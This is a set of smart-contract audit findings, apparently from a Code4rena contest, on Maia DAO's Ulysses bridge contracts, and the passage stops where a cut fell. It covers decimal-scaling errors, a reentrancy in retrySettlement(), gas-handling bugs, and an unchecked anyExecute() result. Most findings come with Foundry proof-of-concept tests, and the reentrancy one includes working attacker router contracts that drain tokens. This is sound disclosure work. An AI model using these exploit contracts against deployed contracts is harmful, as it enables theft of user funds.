Maia DAO Ecosystem - peakbolt's results

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchPort.sol#L388-L390 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L1340-L1342 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/ArbitrumBranchPort.sol#L52-L54 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/ArbitrumBranchBridgeAgent.sol#L104 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L269 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L313 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L696 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L745

Vulnerability details

_normalizeDecimals() and _denormalizeDecimals() are used to handle non-18 decimals tokens when bridging deposit, by scaling them to a normalized 18 decimals form for hToken accounting, and then denormalizing to the token's decimals when interacting with the underlying token.

However, there are 3 issues as follows,

1. implementations of _normalizeDecimals() and _denormalizeDecimals() are reversed.
2. _denormalizeDecimals() is missing in ArbitrumBranchPort.depositToPort().
3. _normalizeDecimals() is missing in functions within BranchBridgeAgent.

These issues will cause an incorrect accounting of hTokens and underlying tokens in the system.

Impact

Incorrect decimal scaling will lead to loss of fund as the amount deposited and withdrawn for bridging will be inaccurate, which can be abused by an attacker or result in users inccuring losses.

For example, an attacker can abuse the ArbitrumBranchPort.depositToPort() issue and steal from the system by first depositing a token that has more than 18 decimals, as the attacker will receive more hTokens than the deposited underlying token amount. The attacker can then make a profit by withdrawing from the port with the excess hTokens.

On the other hand, if the underlying token is less than 18 decimals, the depositor can inccur losses as the amount of underlying tokens deposited will be more than the amount of hTokens received.

Detailed Explanation

Issue 1

BranchBridgeAgent._normalizeDecimals() and BranchPort._denormalizeDecimals() (shown vbelow) are incorrect as they are implemented in a reversed manner, such that _denormalizeDecimals() is normalizing to 18 decimals while _normalizeDecimals() is denormalizing to the underlying token decimals.

The result is that for tokens with > 18 decimals, _normalizeDecimals() will overscale the decimals, while for tokens with < 18 decimals, _normalizeDecimals() will underscale the decimals.

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L1340-L1342

    function _normalizeDecimals(uint256 _amount, uint8 _decimals) internal pure returns (uint256) {
        return _decimals == 18 ? _amount : _amount * (10 ** _decimals) / 1 ether;
    }

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchPort.sol#L388-L390

    function _denormalizeDecimals(uint256 _amount, uint8 _decimals) internal pure returns (uint256) {
        return _decimals == 18 ? _amount : _amount * 1 ether / (10 ** _decimals);
    }

Issue 2

ArbitrumBranchPort.depositToPort() is mssing _denormalizeDecimals() to scale back the decimals of the underlying token amount before transfering. This will cause a wrong amount of the underlying token to be transfered.

As shown below, ArbitrumBranchBridgeAgent.depositToPort() has normalized the amount to 18 decimals before passing into ArbitrumBranchPort.depositToPort().

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/ArbitrumBranchBridgeAgent.sol#L104

    function depositToPort(address underlyingAddress, uint256 amount) external payable lock {

        //@audit - amount is normalized to 18 decimals here
        IArbPort(localPortAddress).depositToPort(
            msg.sender, msg.sender, underlyingAddress, _normalizeDecimals(amount, ERC20(underlyingAddress).decimals())
        );
    }

That means the _deposit amount for ArbitrumBranchPort.depositToPort() (see below) will be incorrect as it is not denormalized back to the underlying token's decimal, causing the wrong value to be transfered from the depositor.

If the underlying token is more than 18 decimals, the depositor will transfer less underlying tokens than the hToken received resulting in excess hTokens. The depositor can then call withdrawFromPort() to receive more underlying tokens than deposited.

If the underlying token is less than 18 decimals, that will inflate the amount to be transferred from the depositor, causing the depositor to deposit more underlying token than the amount of hToken received. The depositor will incurr a loss when withdrawing from the port.

Instead, the _deposit should be denormalized in ArbitrumBranchPort.depositToPort() when passing to _underlyingAddress.safeTransferFrom(), so that it is scaled back to the underlying token's decimals when transfering.

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/ArbitrumBranchPort.sol#L52-L54

    function depositToPort(address _depositor, address _recipient, address _underlyingAddress, uint256 _deposit)
        external
        requiresBridgeAgent
    {
        address globalToken = IRootPort(rootPortAddress).getLocalTokenFromUnder(_underlyingAddress, localChainId);
        if (globalToken == address(0)) revert UnknownUnderlyingToken();

        //@audit - the amount of underlying token should be denormalized first before transfering
        _underlyingAddress.safeTransferFrom(_depositor, address(this), _deposit);

        IRootPort(rootPortAddress).mintToLocalBranch(_recipient, globalToken, _deposit);
    }

Issue 3

In BranchBridgeAgent, the deposit amount passed into _depositAndCall() and _depositAndCallMultiple() are missing _normalizeDecimals(). Example below shows callOutSignedAndBridge(), but the issue is also present in callOutAndBridge(), callOutSignedAndBridgeMultiple(), callOutAndBridgeMultiple().

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L269

    function callOutSignedAndBridge(bytes calldata _params, DepositInput memory _dParams, uint128 _remoteExecutionGas)
        external
        payable
        lock
        requiresFallbackGas
    {
        //Encode Data for cross-chain call.
        bytes memory packedData = abi.encodePacked(
            bytes1(0x05),
            msg.sender,
            depositNonce,
            _dParams.hToken,
            _dParams.token,
            _dParams.amount,
            _normalizeDecimals(_dParams.deposit, ERC20(_dParams.token).decimals()),
            _dParams.toChain,
            _params,
            msg.value.toUint128(),
            _remoteExecutionGas
        );

        //Wrap the gas allocated for omnichain execution.
        wrappedNativeToken.deposit{value: msg.value}();

        //Create Deposit and Send Cross-Chain request
        _depositAndCall(
            msg.sender,
            packedData,
            _dParams.hToken,
            _dParams.token,
            _dParams.amount,
            //@audit - the deposit amount of underlying token should be noramlized first
            _dParams.deposit,
            msg.value.toUint128()
        );
    }

And that will affect _createDepositSingle() and _createDepositMultiple(), leading to incorrect decimals for IPort(localPortAddress).bridgeOut(). That will affect hToken burning and deposit of underlying tokens.

At the same time, the deposits to be stored in getDeposit[] is also not normalized, causing a mis-match of decimals when clearToken() is called via redeemDeposit().

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L857-L891

    function _createDepositSingle(
        address _user,
        address _hToken,
        address _token,
        uint256 _amount,
        uint256 _deposit,
        uint128 _gasToBridgeOut
    ) internal {
        //Deposit / Lock Tokens into Port
        IPort(localPortAddress).bridgeOut(_user, _hToken, _token, _amount, _deposit);

        //Deposit Gas to Port
        _depositGas(_gasToBridgeOut);

        // Cast to dynamic memory array
        address[] memory hTokens = new address[](1);
        hTokens[0] = _hToken;
        address[] memory tokens = new address[](1);
        tokens[0] = _token;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = _amount;
        uint256[] memory deposits = new uint256[](1);
        deposits[0] = _deposit;

        // Update State
        getDeposit[_getAndIncrementDepositNonce()] = Deposit({
            owner: _user,
            hTokens: hTokens,
            tokens: tokens,
            amounts: amounts,
            //@audit the deposits stored is not normalized, causing a mis-match of decimals when `clearToken()` is called via `redeemDeposit()`
            deposits: deposits,
            status: DepositStatus.Success,
            depositedGas: _gasToBridgeOut
        });
    }

Recommended Mitigation Steps

1. Switch the implementation of _normalizeDecimals() to _denormalizeDecimals() and vice versa.

2. Add _denormalizeDecimals() to ArbitrumBranchPort.depositToPort() when calling IRootPort(rootPortAddress).mintToLocalBranch().

3. Utilize _normalizeDecimals() for when passing deposit amount to _depositAndCall() and _depositAndCallMultiple() within BranchBridgeAgent.

Assessed type

Decimal

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/RootBridgeAgent.sol#L244 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/factories/RootBridgeAgentFactory.sol#L75

Vulnerability details

RootBridgeAgent.retrySettlement() is lacking a lock modifier to prevent reentrancy. And RootBridgeAgentFactory.createBridgeAgent() is missing access control. Both issues combined allows anyone to re-enter retrySettlement() and trigger the same settlement repeatedly.

Impact

An attacker can steal funds from the protocol by executing the same settlement multiple times before it is marked as executed.

Detailed Explanation

Issue #1

In RootBridgeAgentFactory, the privileged function createBridgeAgent() is lacking access control, which allows anyone to deploy a new RootBridgeAgent. Leveraging that, the attacker can inject malicious RootRouter and BranchRouter that can be used to trigger a reentrancy attack in retrySettlement(). Injection of the malicious BranchRouter is done with a separate call to CoreRootRouter.addBranchToBridgeAgent() in CoreRootRouter.sol#L81-L116, refer to POC for actual steps.

    function createBridgeAgent(address _newRootRouterAddress) external returns (address newBridgeAgent) {
        newBridgeAgent = address(
            DeployRootBridgeAgent.deploy(
                wrappedNativeToken,
                rootChainId,
                daoAddress,
                localAnyCallAddress,
                localAnyCallExecutorAddress,
                rootPortAddress,
                _newRootRouterAddress
            )
        );

        IRootPort(rootPortAddress).addBridgeAgent(msg.sender, newBridgeAgent);
    }

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/factories/RootBridgeAgentFactory.sol#L75C1-L89C6

Issue #2

In RootBridgeAgent, the retrySettlement() function is not protected from reentrancy with the lock modifier. We can then re-enter this function via the injected malicious BranchRouter (Issue #1). The malicious BranchRouter can be triggered via BranchBridgeAgentExecutor when the attacker perform the settlement call. That will execute IRouter(_router).anyExecuteSettlement() when additional calldata is passed in as shown in BranchBridgeAgentExecutor.sol#L110.

    function retrySettlement(uint32 _settlementNonce, uint128 _remoteExecutionGas) external payable {
        //Update User Gas available.
        if (initialGas == 0) {
            userFeeInfo.depositedGas = uint128(msg.value);
            userFeeInfo.gasToBridgeOut = _remoteExecutionGas;
        }
        //Clear Settlement with updated gas.
        _retrySettlement(_settlementNonce);
    }

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/RootBridgeAgent.sol#L244-L252

Proof of Concept

1. First append the following malicious router contracts to RootTest.t.sol.

import {
    SettlementParams
} from "@omni/interfaces/IBranchBridgeAgent.sol";

contract AttackerBranchRouter is BaseBranchRouter {

    uint256 counter;

    function anyExecuteSettlement(bytes calldata data, SettlementParams memory sParams)
        external
        override
        returns (bool success, bytes memory result)
    {
        // limit the recursive loop to re-enter 4 times (just for POC purpose)
        if(counter++ == 4) return (true, "");

        address rootBridgeAgentAddress =  address(uint160(bytes20(data[0:20])));

        // Re-enter retrySettlement() before the first settlement is marked as executed
        RootBridgeAgent rootBridgeAgent = RootBridgeAgent(payable(rootBridgeAgentAddress));
        rootBridgeAgent.retrySettlement{value: 3e11 }(sParams.settlementNonce, 1e11);

        // Top-up gas for BranchBridgeAgent as retrySettlement() will refund gas after each call
        BranchBridgeAgent branchAgent = BranchBridgeAgent(payable(localBridgeAgentAddress));
        WETH9 nativeToken = WETH9(branchAgent.wrappedNativeToken());
        nativeToken.deposit{value: 1e11}();
        nativeToken.transfer(address(branchAgent), 1e11);
    }

    fallback() external payable {}
}

contract AttackerRouter is Test {

    function reentrancyAttack(
        RootBridgeAgent _rootBridgeAgent, 
        address owner,
        address recipient,
        address outputToken,
        uint256 amountOut,
        uint256 depositOut,
        uint24 toChain
    ) external payable {

        // Approve Root Port to spend/send output hTokens.
        ERC20hTokenRoot(outputToken).approve(address(_rootBridgeAgent), amountOut);

        // Encode calldata to pass in rootBridgeAgent address and 
        // also to trigger exeuction of anyExecuteSettlement
        bytes memory data = abi.encodePacked(address(_rootBridgeAgent));

        // Initiate the first settlement
        _rootBridgeAgent.callOutAndBridge{value: msg.value}(
            owner, recipient, data, outputToken, amountOut, depositOut, toChain
        );
    }
}

2. Then add and run following test case in the RootTest contract within RootTest.t.sol.

    function testPeakboltRetrySettlementReentrancy() public {
        //Set up
        testAddLocalTokenArbitrum();

        address attacker = address(0x999);

        // Attacker deploys RootBridgeAgent with malicious Routers 
        // Issue 1 - RootBridgeAgentFactory.createBridgeAgent() has no access control, 
        //           which allows anyone to create RootBridgeAgent and inject RootRouter and BranchRouter.
        hevm.startPrank(attacker);
        AttackerRouter attackerRouter = new AttackerRouter();
        AttackerBranchRouter attackerBranchRouter = new AttackerBranchRouter();
        RootBridgeAgent attackerBridgeAgent = RootBridgeAgent(
            payable(RootBridgeAgentFactory(bridgeAgentFactory).createBridgeAgent(address(attackerRouter)))
        );
        attackerBridgeAgent.approveBranchBridgeAgent(ftmChainId);
        hevm.stopPrank();

        //Get some gas.
        hevm.deal(attacker, 0.1 ether);
        hevm.deal(address(attackerBranchRouter), 0.1 ether);

        // Add FTM branchBridgeAgent and inject the malicious BranchRouter 
        hevm.prank(attacker);
        rootCoreRouter.addBranchToBridgeAgent{value: 1e12}(
            address(attackerBridgeAgent),
            address(ftmBranchBridgeAgentFactory),
            address(attackerBranchRouter),
            address(ftmCoreRouter),
            ftmChainId,
            5e11
        );

        // Initialize malicious BranchRouter with the created BranchBridgeAgent for FTM 
        BranchBridgeAgent attackerBranchBridgeAgent = BranchBridgeAgent(payable(attackerBridgeAgent.getBranchBridgeAgent(ftmChainId)));
        hevm.prank(attacker);
        attackerBranchRouter.initialize(address(attackerBranchBridgeAgent));


        // Get some hTokens for attacker to create the first settlement
        uint128 settlementAmount = 10 ether;
        hevm.prank(address(rootPort));
        ERC20hTokenRoot(newAvaxAssetGlobalAddress).mint(attacker, settlementAmount, rootChainId);

        console2.log("STATE BEFORE:");

        // Attacker should have zero AvaxAssetLocalToken before bridging to FTM via the settlement
        console2.log("Attacker newAvaxAssetLocalToken (FTM) Balance: \t", MockERC20(newAvaxAssetLocalToken).balanceOf(attacker));
        require(MockERC20(newAvaxAssetLocalToken).balanceOf(attacker) == 0);

        // Attacker will start with 1e18 hTokens for the first settlement
        console2.log("Attacker Global Balance: \t", MockERC20(newAvaxAssetGlobalAddress).balanceOf(attacker));
        require(MockERC20(newAvaxAssetGlobalAddress).balanceOf(attacker) == settlementAmount);

        // Expect next settlementNonce to be '1' before settlement creation
        console2.log("attackerBridgeAgent.settlementNonce: %d", attackerBridgeAgent.settlementNonce());
        require(attackerBridgeAgent.settlementNonce() == 1);

        // Execution history in BranchBridgeAgent is not marked yet
        console2.log("attackerBranchBridgeAgent.executionHistory(1) = %s", attackerBranchBridgeAgent.executionHistory(1));
        console2.log("attackerBranchBridgeAgent.executionHistory(2) = %s", attackerBranchBridgeAgent.executionHistory(2));


        // Attacker transfers hTokens into router, triggers the first settlement and then the reentrancy attack
        // Issue 2 - RootBridgeAgent.retrySettlement() has no lock to prevent reentrancy 
        //           We can re-enter retrySettlement() via the injected malicious BranchRouter (above)
        //           Refer to AttackerRouter and AttackerBranchRouter contracts to see the reentrance calls
        hevm.prank(attacker);
        MockERC20(newAvaxAssetGlobalAddress).transfer(address(attackerRouter), settlementAmount);

        hevm.prank(attacker);
        attackerRouter.reentrancyAttack{value: 1e13 }(attackerBridgeAgent, attacker, attacker, address(newAvaxAssetGlobalAddress), settlementAmount,  0, ftmChainId);
  

        console2.log("STATE AFTER:");

        // Attacker will now have 5e19 AvaxAssetLocalToken after using 1e19 and some gas to perform 4x recursive reentrancy attack
        console2.log("Attacker newAvaxAssetLocalToken (FTM) Balance: ", MockERC20(newAvaxAssetLocalToken).balanceOf(attacker));
        require(MockERC20(newAvaxAssetLocalToken).balanceOf(attacker) == 5e19);

        // The hTokens have been used for the first settlement
        console2.log("Attacker Global Balance: ", MockERC20(newAvaxAssetGlobalAddress).balanceOf(attacker));
        require(MockERC20(newAvaxAssetGlobalAddress).balanceOf(attacker) == 0);

        // Expect next settlementNonce to be '2' as we only used '1' for the attacker
        console2.log("attackerBridgeAgent.settlementNonce: %d",  attackerBridgeAgent.settlementNonce());
        require(attackerBridgeAgent.settlementNonce() == 2);

        // This shows that only execution is marked for settlementNonce '1' 
        console2.log("attackerBranchBridgeAgent.executionHistory(1): %s", attackerBranchBridgeAgent.executionHistory(1));
        console2.log("attackerBranchBridgeAgent.executionHistory(2): %s", attackerBranchBridgeAgent.executionHistory(2));
    
    }

Recommended Mitigation Steps

Add lock modifier to RootBridgeAgent.retrySettlement() and add access control to RootBridgeAgentFactory.createBridgeAgent().

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/RootBridgeAgent.sol#L1259-L1264

Vulnerability details

RootBridgeAgent.sweep() will fail as it tries to transfer accumulatedFees using SafeTransferLib.safeTransferETH() but fails to unwrap the fees by withdrawing from wrappedNativeToken.

Impact

The accumulatedFees will be stuck in RootBridgeAgent without any functions to withdraw them.

Proof of Concept

Add the below test case to RootTest.t.sol.

function testPeakboltSweep() public {
    //Set up
    testAddLocalTokenArbitrum();

    //Prepare data
    bytes memory packedData;

    {
        Multicall2.Call[] memory calls = new Multicall2.Call[](1);

        //Mock action
        calls[0] = Multicall2.Call({target: 0x0000000000000000000000000000000000000000, callData: ""});

        //Output Params
        OutputParams memory outputParams = OutputParams(address(this), newAvaxAssetGlobalAddress, 150 ether, 0);

        //RLP Encode Calldata Call with no gas to bridge out and we top up.
        bytes memory data = abi.encode(calls, outputParams, ftmChainId);

        //Pack FuncId
        packedData = abi.encodePacked(bytes1(0x02), data);
    }

    address _user = address(this);

    //Get some gas.
    hevm.deal(_user, 1 ether);
    hevm.deal(address(ftmPort), 1 ether);

    //assure there is enough balance for mock action
    hevm.prank(address(rootPort));
    ERC20hTokenRoot(newAvaxAssetGlobalAddress).mint(address(rootPort), 50 ether, rootChainId);
    hevm.prank(address(avaxPort));
    ERC20hTokenBranch(avaxMockAssethToken).mint(_user, 50 ether);

    //Mint Underlying Token.
    avaxMockAssetToken.mint(_user, 100 ether);

    //Prepare deposit info
    DepositInput memory depositInput = DepositInput({
        hToken: address(avaxMockAssethToken),
        token: address(avaxMockAssetToken),
        amount: 150 ether,
        deposit: 100 ether,
        toChain: ftmChainId
    });

    console2.log("accumulatedFees (BEFORE) = %d", multicallBridgeAgent.accumulatedFees());       

    //Call Deposit function
    avaxMockAssetToken.approve(address(avaxPort), 100 ether);
    ERC20hTokenRoot(avaxMockAssethToken).approve(address(avaxPort), 50 ether);

    uint128 remoteExecutionGas = 4e9;
    uint128 depositedGas = 1e11; 
    avaxMulticallBridgeAgent.callOutSignedAndBridge{value: depositedGas }(packedData, depositInput, remoteExecutionGas);

    console2.log("accumulatedFees (AFTER)  = %d", multicallBridgeAgent.accumulatedFees());        
    console2.log("WETH Balance = %d ", multicallBridgeAgent.wrappedNativeToken().balanceOf(address(multicallBridgeAgent)));
    console2.log("ETH Balance = %d ", address(multicallBridgeAgent).balance);

    // sweep() will fail as it does not unwrap the WETH before the ETH transfer
    multicallBridgeAgent.sweep();

}

Recommended Mitigation Steps

Add wrappedNativeToken.withdraw(_accumulatedFees); to sweep() before transfering.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L441-L447 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L426 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L1227-L1307

Vulnerability details

Both retrySettlement() and retrieveDeposit() are incorrectly implemented with the following 3 issues,

1. Both retrySettlement() and retrieveDeposit() are lacking a call to wrappedNativeToken.deposit() to wrap the native token paid by users for gas. This causes a subsequent call to _depositGas() to fail at BranchBridgeAgent.sol#L929-L931. This is also inconsistent with the other functions like retryDeposit(), which wraps the received native token for gas. (see BranchBridgeAgent.sol#L441-L447)

2. retrySettlement() has a redundant increment for depositNonce in BranchBridgeAgent.sol#L426, which will cause a different depositNonce value to be used for the subsequent call to _createGasDeposit in BranchBridgeAgent.sol#L836.

3. Both retrySettlement() and retrieveDeposit() are missing fallback implementation, as BranchBridgeAgent.anyFallback() is not handling flag 0x07 (retrySettlement) and flag 0x08 (retrieveDeposit) as evident in BranchBridgeAgent.sol#L1227-L1307.

Impact

Due to these issues, both retrySettlement() and retrieveDeposit() will cease to function properly. That will prevent users from re-trying failed settlement and retrieving deposits, resulting in loss of users' deposit for bridging. In addition, the gas paid by user that is not wrapped will also be stuck in BranchBridgeAgent as there is no function to withdraw native token.

Proof of Concept

Add the following test case to RootTest.t.sol. This shows the issues with the lack of native token wrapping.

     function testPeakboltRetrySettlement() public {
        //Set up
        testAddLocalTokenArbitrum();

        //Prepare data
        bytes memory packedData;

        {
            Multicall2.Call[] memory calls = new Multicall2.Call[](1);

            //Mock action
            calls[0] = Multicall2.Call({target: 0x0000000000000000000000000000000000000000, callData: ""});

            //Output Params
            OutputParams memory outputParams = OutputParams(address(this), newAvaxAssetGlobalAddress, 150 ether, 0);

            //RLP Encode Calldata Call with no gas to bridge out and we top up.
            bytes memory data = abi.encode(calls, outputParams, ftmChainId);

            //Pack FuncId
            packedData = abi.encodePacked(bytes1(0x02), data);
        }

        address _user = address(this);

        //Get some gas.
        hevm.deal(_user, 1 ether);
        hevm.deal(address(ftmPort), 1 ether);

        //assure there is enough balance for mock action
        hevm.prank(address(rootPort));
        ERC20hTokenRoot(newAvaxAssetGlobalAddress).mint(address(rootPort), 50 ether, rootChainId);
        hevm.prank(address(avaxPort));
        ERC20hTokenBranch(avaxMockAssethToken).mint(_user, 50 ether);

        //Mint Underlying Token.
        avaxMockAssetToken.mint(_user, 100 ether);

        //Prepare deposit info
        DepositInput memory depositInput = DepositInput({
            hToken: address(avaxMockAssethToken),
            token: address(avaxMockAssetToken),
            amount: 150 ether,
            deposit: 100 ether,
            toChain: ftmChainId
        });


        console2.log("-------------  Creating a failed settlement ----------------");
        
        //Call Deposit function
        avaxMockAssetToken.approve(address(avaxPort), 100 ether);
        ERC20hTokenRoot(avaxMockAssethToken).approve(address(avaxPort), 50 ether);

        //Set MockAnycall AnyFallback mode ON
        MockAnycall(localAnyCallAddress).toggleFallback(1);

        //this is for branchBridgeAgent anyExecute
        uint128 remoteExecutionGas = 4e9;
        
        //msg.value is total gas amount for both Root and Branch agents
        avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 1e11 }(packedData, depositInput, remoteExecutionGas);

        //Set MockAnycall AnyFallback mode OFF
        MockAnycall(localAnyCallAddress).toggleFallback(0);

        //Perform anyFallback transaction back to root bridge agent
        MockAnycall(localAnyCallAddress).testFallback();

        //check settlement status
        uint32 settlementNonce = multicallBridgeAgent.settlementNonce() - 1;
        Settlement memory settlement = multicallBridgeAgent.getSettlementEntry(settlementNonce);
        console2.log("Status after fallback:", settlement.status == SettlementStatus.Failed ? "Failed" : "Success");
        require(settlement.status == SettlementStatus.Failed, "Settlement status should be failed.");


        console2.log("------------- retrying Settlement ----------------");
        
        //Get some gas.
        hevm.deal(_user, 1 ether);

        //Retry Settlement        
        uint256 depositedGas = 7.9e9;
        uint128 gasToBridgeOut = 1.6e9;

        // This is expected to fail the gas paid by user is not wrapped and transfered 
        avaxMulticallBridgeAgent.retrySettlement{value: depositedGas}(settlementNonce, gasToBridgeOut);

        settlement = multicallBridgeAgent.getSettlementEntry(settlementNonce);

        require(settlement.status == SettlementStatus.Success, "Settlement status should be success.");

        address userAccount = address(RootPort(rootPort).getUserAccount(_user));
    


    }

Recommended Mitigation Steps

1. Add wrappedNativeToken.deposit{value: msg.value}(); to both retrySettlement() and retrieveDeposit().
2. Remove the increment from depositNonce in BranchBridgeAgent.sol#L426.
3. Add fallback implementation for both flag 0x07 (retrySettlement) and flag 0x08 (retrieveDeposit).

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/ArbitrumBranchBridgeAgent.sol#L143

Vulnerability details

In ArbitrumBranchBridgeAgent, the _performCall() is overridden to directly call RootBridgeAgent.anyExecute() instead of performing an AnyCall cross-chain transaction as RootBridgeAgent is also in Arbitrum. However, unlike AnyCall, ArbitrumBranchBridgeAgent._performCall() is missing the handling of return value for anyExecute().

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/ArbitrumBranchBridgeAgent.sol#L143

 function _performCall(bytes memory _callData) internal override {
        IRootBridgeAgent(rootBridgeAgentAddress).anyExecute(_callData);
    }

That is undesirable as RootBridgeAgent.anyExecute() has a try/catch that prevents revert from bubbling up. Instead, it expects ArbitrumBranchBridgeAgent._performCall() to revert when success == false, which is currently missing.

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/RootBridgeAgent.sol#L1068-L1074

            try RootBridgeAgentExecutor(bridgeAgentExecutorAddress).executeSignedWithDeposit(
                address(userAccount), localRouterAddress, data, fromChainId
            ) returns (bool, bytes memory res) {
                (success, result) = (true, res);
            } catch (bytes memory reason) {
                result = reason;
            }

Impact

Without handling the scenario when RootBridgeAgent.anyExecute() returns false, ArbitrumBranchBridgeAgent._performCall() will continue execution even for failed calls and not revert due to the try/catch in RootBridgeAgent.anyExecute().

In the worst case, users could lose their bridged deposit when they use ArbitrumBranchBridgeAgent.callOutSignedAndBridge() to interact with dApps and encountered failed calls.

When failed calls to dApps occur, ArbitrumBranchBridgeAgent.callOutSignedAndBridge() is expected to revert the entire transaction and reverse the bridging of deposit. However, due to the issue with _performCall(), the bridged deposit will not be reverted, thus locking up users' fund in the contract. Furthermore, RootBridgeAgent.anyExecute() will mark the deposit transaction as executed in executionHistory[], preventing any retryDeposit() or retrieveDeposit() attempts to recover the funds.

Proof of Concept

Add the following MockContract and test case to ArbitrumBranchTest.t.sol and run the test case.

    contract MockContract is Test {
        function test() external {
            require(false);
        }
    } 

    function testPeakboltArbCallOutWithDeposit() public {
        //Set up
        testAddLocalTokenArbitrum();

        // deploy mock contract to call using multicall
        MockContract mockContract = new MockContract();

        //Prepare data
        address outputToken;
        uint256 amountOut;
        uint256 depositOut;
        bytes memory packedData;

        {
            outputToken = newArbitrumAssetGlobalAddress;
            amountOut = 100 ether;
            depositOut = 50 ether;

            Multicall2.Call[] memory calls = new Multicall2.Call[](1);

            //prepare for a call to MockContract.test(), which will revert
            calls[0] = Multicall2.Call({target: address(mockContract), callData: abi.encodeWithSignature("test()")});
    
            //Output Params
            OutputParams memory outputParams = OutputParams(address(this), outputToken, amountOut, depositOut);

            //toChain
            uint24 toChain = rootChainId;

            //RLP Encode Calldata
            bytes memory data = abi.encode(calls, outputParams, toChain);

            //Pack FuncId
            packedData = abi.encodePacked(bytes1(0x02), data);
        }

        //Get some gas.
        hevm.deal(address(this), 1 ether);

        //Mint Underlying Token.
        arbitrumNativeToken.mint(address(this), 100 ether);

        //Approve spend by router
        arbitrumNativeToken.approve(address(localPortAddress), 100 ether);

        //Prepare deposit info
        DepositInput memory depositInput = DepositInput({
            hToken: address(newArbitrumAssetGlobalAddress),
            token: address(arbitrumNativeToken),
            amount: 100 ether,
            deposit: 100 ether,
            toChain: rootChainId
        });

        //Mock messaging layer fees
        hevm.mockCall(
            address(localAnyCongfig),
            abi.encodeWithSignature("calcSrcFees(address,uint256,uint256)", address(0), 0, 100),
            abi.encode(0)
        );

        console2.log("Initial User Balance: %d", arbitrumNativeToken.balanceOf(address(this)));

        //Call Deposit function
        arbitrumMulticallBridgeAgent.callOutSignedAndBridge{value: 1 ether}(packedData, depositInput, 0.5 ether);

        // This shows that deposit entry is successfully created
        testCreateDepositSingle(
            arbitrumMulticallBridgeAgent,
            uint32(1),
            address(this),
            address(newArbitrumAssetGlobalAddress),
            address(arbitrumNativeToken),
            100 ether,
            100 ether,
            1 ether,
            0.5 ether
        );

        // The following shows that user deposited to the LocalPort, but it is not deposited/bridged to the user account
        console2.log("LocalPort Balance (expected):", uint256(50 ether));
        console2.log("LocalPort Balance (actual):", MockERC20(arbitrumNativeToken).balanceOf(address(localPortAddress)));
        //require(MockERC20(arbitrumNativeToken).balanceOf(address(localPortAddress)) == 50 ether, "LocalPort should have 50 tokens");

        console2.log("User Balance: (expected)", uint256(50 ether));
        console2.log("User Balance: (actual)", MockERC20(arbitrumNativeToken).balanceOf(address(this)));
        //require(MockERC20(arbitrumNativeToken).balanceOf(address(this)) == 50 ether, "User should have 50 tokens");

        console2.log("User Global Balance: (expected)", uint256(50 ether));
        console2.log("User Global Balance: (actual)", MockERC20(newArbitrumAssetGlobalAddress).balanceOf(address(this)));
        //require(MockERC20(newArbitrumAssetGlobalAddress).balanceOf(address(this)) == 50 ether, "User should have 50 global tokens");

        // retryDeposit() will fail as well as the the transaction is marked executed in executionHistory
        uint32 depositNonce = arbitrumMulticallBridgeAgent.depositNonce() - 1;
        hevm.deal(address(this), 1 ether);
        //hevm.expectRevert(abi.encodeWithSignature("GasErrorOrRepeatedTx()"));
        arbitrumMulticallBridgeAgent.retryDeposit{value: 1 ether}(true, depositNonce, "", 0.5 ether, rootChainId);

    }

Recommended Mitigation Steps

Handle the return value of anyExecute() in _performCall() and revert on success == false.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/RootBridgeAgent.sol#L831-L846

Vulnerability details

In RootBridgeAgent._payFallbackGas(), users' deposited gas is deducted for fallback execution but the deducted amount is not used to replenish the gas in AnycallConfig via the function _replenishGas().

This is also inconsistent with BranchBridgeAgent._payFallbackGas() in BranchBridgeAgent.sol#L1084.

Impact

Without _replenishGas(), execution of anyFallback() will revert even though the user supplied enough gas and paid for the fallback execution, thus losing the paid gas. That also means _reopenSettlement() will not be executed, preventing users from using redeemSettlement() to obtain the failed settlement amount.

Recommended Mitigation Steps

Add _replenishGas(minExecCost) to RootBridgeAgent._payFallbackGas().

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/RootBridgeAgent.sol#L831-L846 https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L1061-L1085

Vulnerability details

